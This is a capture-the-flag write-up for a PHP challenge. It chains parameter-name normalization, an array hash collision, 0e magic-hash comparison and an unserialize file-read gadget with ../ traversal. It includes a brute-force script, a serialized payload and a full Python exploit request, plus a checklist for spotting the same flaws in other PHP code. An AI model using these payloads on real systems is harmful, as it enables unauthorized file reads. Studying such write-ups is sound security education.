$ cat writeup.md…
$ cat writeup.md…
fortid2026
Task: single PHP page gateway chaining four 'individually secure' GET checks guarding a file outside the webroot. Solution: one request combining parameter-name normalization, array-to-string hash collision, 0e magic-hash loose-equality, and unserialize __toString file-read gadget with a strpos(0)-falsy leading ../ traversal.
"Ultimative PHP" — an all-in-one migration gateway. A single
index.phpvalidates four independent checks in one GET request. The developers claim each check is individually secure.
English summary: A single PHP 8.3 page (served via php -S) implements a migration gateway that
enforces four independent authorization/validation checks within one GET request. Each check looks
hardened in isolation, but they compose into a full compromise. The flag lives at /tmp/flag
(symlinked to /flag), outside the webroot /var/www/html. Goal: craft a single GET request that
passes all four checks and leaks the out-of-webroot file.
Handout: full source (index.php, Dockerfile, entrypoint.sh, challenge.ini).
Config: PHP 8.3-cli, display_errors=Off, allow_url_fopen=Off, allow_url_include=Off.
The page runs four gates in sequence and only renders the profile (echoing a (string) of an
object) if all pass. Each gate exploits a distinct PHP footgun:
access_level,
yet requires $_GET['access_level'] === 'administrator'. PHP normalizes ., space, and [ in
GET/POST key names to _. So the raw query can avoid the forbidden substring while $_GET
still receives the normalized key.get_debug_type($primary) === get_debug_type($backup) (same
type) AND $primary !== $backup (different values) AND equal SHA-256 of
'legacy-recovery:v1:' . $primary/$backup via hash_equals. Concatenating an array into a
string yields the literal "Array", so two distinct arrays collide after stringification.md5() and sha256() of
'ULTIMATIVE-PHP-2026:' . $code, requiring they be strictly different (!==) yet loosely equal
(==). The classic PHP "magic hash" trap: both prefixes of form 0e + 7 digits are treated as
numeric 0.0 by loose comparison while differing as strings.unserialize($data, ['allowed_classes' => [MigratedProfile, LegacyTemplate]]), must be instanceof MigratedProfile; the page echoes (string)$profile.
LegacyTemplate::__toString() guards with if (strpos($this->template, '../')) before
file_get_contents(__DIR__ . '/templates/' . $this->template). strpos returns 0 (falsy)
when ../ is at offset 0, so a template value starting with ../ bypasses the guard.Final request shape:
/?access.level=administrator&primary[]=a&backup[]=b&code=<magic>&profile=<b64url>
Send access.level=administrator. The raw QUERY_STRING contains only access.level (passing the
str_contains(..., 'access_level') blocklist), while PHP normalizes the key to access_level in
$_GET with value administrator.
Send primary[]=a&backup[]=b. Both are array (type check passes), not identical (!== passes).
Concatenating either array into 'legacy-recovery:v1:' . $x triggers Array-to-string conversion,
yielding legacy-recovery:v1:Array for both → identical SHA-256 → hash_equals passes.
Find a code where both substr(md5('ULTIMATIVE-PHP-2026:'.$code),0,9) and
substr(hash('sha256','ULTIMATIVE-PHP-2026:'.$code),0,9) match ^0e\d{7}$. Both loosely equal 0,
yet differ as strings.
<?php // brute force a code whose md5 and sha256 9-char prefixes are both 0e-magic for ($i = 0; $i < 100_000_000; $i++) { $code = (string)$i; $m = substr(md5('ULTIMATIVE-PHP-2026:' . $code), 0, 9); $s = substr(hash('sha256', 'ULTIMATIVE-PHP-2026:' . $code), 0, 9); if (preg_match('/^0e[0-9]{7}$/', $m) && preg_match('/^0e[0-9]{7}$/', $s)) { // $m !== $s (strict) but $m == $s == 0.0 (loose) — both conditions satisfied echo "code=$code md5=$m sha256=$s\n"; break; } }
Build a MigratedProfile whose displayName is a LegacyTemplate with
template = '../../../../flag'. From /var/www/html/templates/, that resolves to /flag. Because
the template starts with ../, strpos(...) returns 0 (falsy) and the guard is skipped.
Rendering the profile chains MigratedProfile::__toString → LegacyTemplate::__toString →
file_get_contents() of the target.
Serialized payload (illustrative structure):
O:15:"MigratedProfile":1:{s:11:"displayName";O:14:"LegacyTemplate":1:{s:8:"template";s:16:"../../../../flag";}}
Base64url-encode (standard base64, +→-, /→_, strip =) and pass as profile.
#!/usr/bin/env python3 import base64, hashlib, re, urllib.parse, requests BASE = "https://TARGET/" # hosted instance # --- Check 3: brute force the 0e magic-hash code --- def find_code(): for i in range(100_000_000): code = str(i).encode() pre = b"ULTIMATIVE-PHP-2026:" + code m = hashlib.md5(pre).hexdigest()[:9] s = hashlib.sha256(pre).hexdigest()[:9] if re.match(r"^0e[0-9]{7}$", m) and re.match(r"^0e[0-9]{7}$", s): return str(i) raise RuntimeError("no code found") code = find_code() # --- Check 4: object-injection __toString file-read gadget --- template = b"../../../../flag" inner = b'O:14:"LegacyTemplate":1:{s:8:"template";s:%d:"%s";}' % (len(template), template) payload = b'O:15:"MigratedProfile":1:{s:11:"displayName";%s}' % inner profile = base64.b64encode(payload).decode().replace("+", "-").replace("/", "_").rstrip("=") # --- Assemble the single GET request --- # access.level normalizes to access_level; primary[]/backup[] become arrays qs = ( "access.level=administrator" "&primary[]=a&backup[]=b" f"&code={code}" f"&profile={urllib.parse.quote(profile)}" ) r = requests.get(BASE + "?" + qs, verify=True) print(r.text) # rendered profile contains the out-of-webroot file (FortID{REDACTED})
Expected successful result format: FortID{REDACTED}.
Use this technique when:
rawurldecode($_SERVER['QUERY_STRING']) for a key name while reading
that key from $_GET → try ./space/[ in the parameter name (normalizes to _).get_debug_type + different values + equal hash of a concatenated string →
use two distinct arrays; '...' . $array becomes the literal "Array" (collision).0e\d{7} magic
hash for both digests simultaneously.file_get_contents/include guard uses if (strpos($path, '../')) → a value starting with
../ returns offset 0 (falsy) and bypasses the guard (leading traversal).unserialize(..., ['allowed_classes' => [...]]) plus an echo of (string)$obj → look for a
__toString gadget (file-read) reachable through an allowed class chain, even with an allowlist.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar